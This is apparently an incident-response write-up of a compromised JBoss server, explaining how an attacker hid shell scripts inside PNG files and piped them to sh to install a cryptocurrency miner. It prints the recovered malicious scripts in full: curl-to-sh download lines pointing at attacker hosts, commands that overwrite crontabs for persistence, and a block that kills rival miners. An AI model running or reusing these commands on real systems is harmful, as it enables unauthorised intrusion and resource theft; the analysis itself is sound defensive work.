Covert channels: Hiding shell scripts in PNG files
A colleague made me aware of a JBoss server having been compromised. Upon inspection, one of the processes run by the JBoss user account was this one:
sh -c curl hxxp://img1.imagehousing.com/0/beauty-287196.png -k|dd skip=2446 bs=1|sh
This is a rather elegant way of disguising malicious code. If we first take a look at the png file:
$ file beauty-287196.png beauty-287196.png: PNG image data, 160 x 160, 8-bit colormap, non-interlaced
Then, let’s extract its contents like the process shown above does:
$ cat beauty-287196.png | dd skip=2446 bs=1 > beauty-287196.png.sh 656+0 records in 656+0 records out 656 bytes copied, 0,00166122 s, 395 kB/s $ file beauty-287196.png.sh beauty-287196.png.sh: ASCII text
Lo and behold, we now have a shell script file with the following contents:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh echo "*/60 * * * * curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/60 * * * * curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh" > /var/spool/cron/crontabs/root (crontab -l;printf '*/60 * * * * curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh \n')|crontab - while true do curl hxxp://img1.imagehousing.com/0/beauty-036457.png -k|dd skip=2446 bs=1|sh sleep 3600 done
As we can see, the shell script will try to replace different users’ cron schedules with the contents from a downloaded file. This is the shell script extract from the beauty-036457.png file:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin days=$(($(date +%s) / 60 / 60 / 24)) DoMiner() { curl -kL -o /tmp/11232.jpg hxxp://img1.imagehousing.com/0/art-061574.png dd if=/tmp/11232.jpg skip=7664 bs=1 of=/tmp/11231 curl -kL -o /tmp/11234.jpg hxxp://img1.imagehousing.com/0/pink-086153.png dd if=/tmp/11234.jpg skip=10974 bs=1 of=/tmp/11233 chmod +x /tmp/11231 nohup /tmp/11231 -c /tmp/11233 & sleep 10 rm -rf /tmp/11234.jpg rm -rf /tmp/11233 rm -rf /tmp/11232.jpg rm -rf /tmp/11231 } ps auxf|grep -v grep|grep ${days}|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "logind.conf"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "kworker"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr"|awk '{print $2}'|xargs kill -9 pkill -f 49hNrEaSKAx5FD8PE49Wa3DqCRp2ELYg8dSuqsiyLdzSehFfyvk4gDfSjTrPtGapqcfPVvMtAirgDJYMvbRJipaeTbzPQu4 pkill -f 4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB pkill -f 4813za7ePRV5TBce3NrSrugPPJTMFJmEMR9qiWn2Sx49JiZE14AmgRDXtvM1VFhqwG99Kcs9TfgzejAzT9Spm5ga5dkh8df pkill -f cpuloadtest pkill -f crypto-pool pkill -f xmr pkill -f prohash pkill -f monero pkill -f miner pkill -f nanopool pkill -f minergate ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "crypto-pool"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "prohash"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "monero"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "miner"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "nanopool"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "minergate"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "49JsSwt7MsH5m8DPRHXFSEit9ZTWZCbWwS7QSMUTcVuCgwAU24gni1ydnHdrT9QMibLtZ3spC7PjmEyUSypnmtAG7pyys7F"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "479MD1Emw69idbVNKPtigbej7x1ZwFR1G3boyXUFfAB89uk2AztaMdWVd6NzCTfZVpDReKEAsVVBwYpTG8fsRK3X17jcDKm"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "11231" || DoMiner
The shell script starts by downloading even more resources, then looking for – and killing – competing BitCoin mining processes. Finally, it starts its own BitCoin miner. I’ll describe the downloaded components:
The first file it downloads (art-061574.png) is, after extraction, a binary:
$ file 11231 11231: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
The extracted file’s MD5/SHA1/SHA256 hashes are as follows:
483b322b42835227d98f523f9df5c6fc 91e71ca252d1ea759b53f821110d8f0ac11b4bff 28d5f75e289d652061c754079b23ec372da2e8feb1066a3d57381163b614c06c
Based on its checksum, the file is a BitCoin miner very well known by Virustotal.
The next file it downloads (pink-086153.png) is – after extraction – a config file. Its contents are:
{ "url" : "stratum+tcp://212.129.44.155:80", "url" : "stratum+tcp://62.210.29.108:80", "url" : "stratum+tcp://212.83.129.195:80", "url" : "stratum+tcp://212.129.44.157:80", "url" : "stratum+tcp://212.129.46.87:80", "url" : "stratum+tcp://212.129.44.156:80", "url" : "stratum+tcp://212.129.46.191:80", "user" : "[ID]", "pass" : "x", "algo" : "cryptonight", "quiet" : true }
We see that the script executes the first downloaded component (the ELF binary) with the other downloaded component as its config. Since this compromise never obtained root privileges, root’s cron jobs were never impacted.
The interesting about this compromise was not the binaries themselves, nor the fact that the JBoss server was vulnerable – but the covert transport mechanisms. We found no less than four different BitCoin miner binaries in the JBoss account’s home directory, indicating that several bots have been fighting over this server. As an additional bonus, the following entry was found in the JBoss account’s crontab:
*/1 * * * * curl 107.182.21 . 232/_x2|sh
The _x2 file contains the following shell script:
AGENT_FILE='/tmp/cpux' if [ ! -f $AGENT_FILE ]; then curl 107.182.21 . 232/cpux > $AGENT_FILE fi if [ ! -x $AGENT_FILE ]; then chmod +x $AGENT_FILE fi ps -ef|grep $AGENT_FILE|grep -v grep if [ $? -ne 0 ]; then nohup $AGENT_FILE -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u [ID] -p x > /dev/null 2>&1 & fi
The cpux file is also thoroughly registered in Virustotal (at the time of writing, 29 antivirus products identify it as malicious). It has the same checksums as the 11231 file described earlier.